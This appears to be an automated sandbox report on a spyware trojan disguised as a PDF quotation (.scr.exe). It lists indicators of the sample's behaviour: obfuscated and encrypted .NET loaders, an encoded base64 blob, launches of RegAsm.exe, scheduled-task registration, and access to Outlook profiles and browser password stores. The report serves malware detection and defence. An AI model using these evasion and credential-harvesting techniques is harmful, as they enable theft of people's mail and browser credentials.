Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, -.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, lOwAbfLLhr28sQCcwy5.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, YAybmH4EbpD9CkCtJZ.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, PaTkenIPqN0SYcegWm8.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, PaTkenIPqN0SYcegWm8.cs	Cryptographic APIs: 'CreateDecryptor'

Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, -.cs

Base64 encoded string: 'qbJCmqtW1JlUiKJemb9YgaAVu7hCi6NZlrIKqatPv6VFnLd6ibhUg6xXg/BWi7pkvL5dgoBal64Kgb5ks6VUn7talqJFl/Vcn79uoqtVnb9Z1Ylejp9Inqt9iKRcpq9VnqdU1alejpR/j6NewYJfiqtDta0KvKtanphFnKdVnfBwiqoAna5FsZ5UiaJFh6FVwaxUmpF4j7lDi6BPvqRcj6dVwZhUmopajqoK3P8Py/kKr71In6ZTgrdon7lHi7wAqaJcnqJeu7hCi6NZlrJ0lr5XlblUnPVZm6lUgrhWwbhcgaVejq5Cmg=='

Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutant created: NULL

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000009.00000002.2132135380.000000000360D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.0000000002724000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.0000000002717000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.00000000026D6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.00000000026E6000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2130154544.00000000026F4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Virustotal: Detection: 41%
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe "C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe"
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1440508490.0000000006720000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F59000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F01000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1440508490.0000000006720000.00000004.08000000.00040000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000003F59000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.00000000047F3000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1444866284.0000000006EE0000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, PaTkenIPqN0SYcegWm8.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, -.cs	.Net Code: _E009 System.Reflection.Assembly.Load(byte[])
Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, Zihbfdqznho.cs	.Net Code: Xadfgy System.Reflection.Assembly.Load(byte[])
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f59570.2.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.47a3eb8.4.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.47a3eb8.4.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.47a3eb8.4.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.47a3eb8.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.47a3eb8.4.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3f09550.11.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.6d90000.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.6d90000.17.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.4709c78.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.464a460.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.45b4bf8.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.4709c78.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.462a440.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1443701222.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1434658198.000000000449C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe PID: 6412, type: MEMORYSTR

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Code function: 0_2_06793F5F push es; iretd		0_2_06793F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_05DD061D push dword ptr [ebp+eax-18h]; retf		9_2_05DD0621

Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.69c0000.15.raw.unpack, qvy0SibAhKDHycHrpuF.cs	High entropy of concatenated method names: 'ag3bHxpEIq', 'CA3beUPZL7', 'nikb8BC0aC', 'pIZbQ8cBUi', 'cbobkCbbQs', 'N83by5jvFT', 'DQUbtcB8oL', 'N79bvXoOyF', 'rf2bKJv9Ur', 'jvYb0dcdvW'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, Rdo8EUHYt2XP8EnYOg.cs	High entropy of concatenated method names: 'BqyTeYMQn', 'pEKoiMTlZ', 'Equals', 'GetHashCode', 'SQ8dnN97K', 'ToString', 'YCcAZqMe8307YYgwrST', 'k0cfrLMKyKHX3YjaONr', 'Equals', 'GetHashCode'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, lOwAbfLLhr28sQCcwy5.cs	High entropy of concatenated method names: 'dO0mFkaqn6', 'CPKmLlfdQ2', 'R2KmQnYf4a', 'FyDm6e8F1Y', 'nq1mWphBlA', 'kSPmDw72Cr', 'wFWeLbWAYmsJ88ucWka', 'waopg3Wp9MhemvwQI48', 'akYL2MTWEP', 'w40LI8gFCm'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, Jb8CfO607B31VtJ4bck.cs	High entropy of concatenated method names: 'OjH6GtEdkk', 'PWK6hpCF66', 'zFY68yT13i', 'tPe6AlZWfb', 'Q2u6pFUvNy', 'XmV6uJr7hr', 'pCt6Vw51Zk', 'Y2c6Zg56yw', 'Hbj6skpSnu', 'qHy6gVkXYh'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, YAybmH4EbpD9CkCtJZ.cs	High entropy of concatenated method names: 'RNBFkVTiST', 'adpFcKTSRF', 'cvbZqdWfpqaCdOnNBky', 'vcM5t5WHdAOfaWmXvjf', 'NLZF9N4v6X', 'bwYFP8f3AX', 'ccnFo86KtN', 'mDuFhTTrCE', 'iFSF88FbZR', 'iegFphTSQm'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, PaTkenIPqN0SYcegWm8.cs	High entropy of concatenated method names: 'atCROGDp1e9LvdyKngY', 'XwouaqDua8adYadJPFG', 'zuq62sMyx7', 'vh0ry9Sq2v', 'eHA6jKXihW', 'gKG6CbieeZ', 'XgI6fyGeZj', 'f0k6HvlAbA', 'XIcjsvOi7A', 'Ao5IyLAqG5'
Source: 0.2.QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe.3ff27e8.3.raw.unpack, MozilSpeed.cs	High entropy of concatenated method names: 'Wflm4It127', 'lKJmX6t6R6', 'aitm5yUJgn', 'Gypmv2VV3b', 'J2FmzUIsB5', 'lCv2bH636k', 'KIQvPtDM0hVmd1ApZii', 'dCB8TVDWbBWtK55l5YJ', 'YuF2Qv5gTb', 'SAy266Y16L'

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
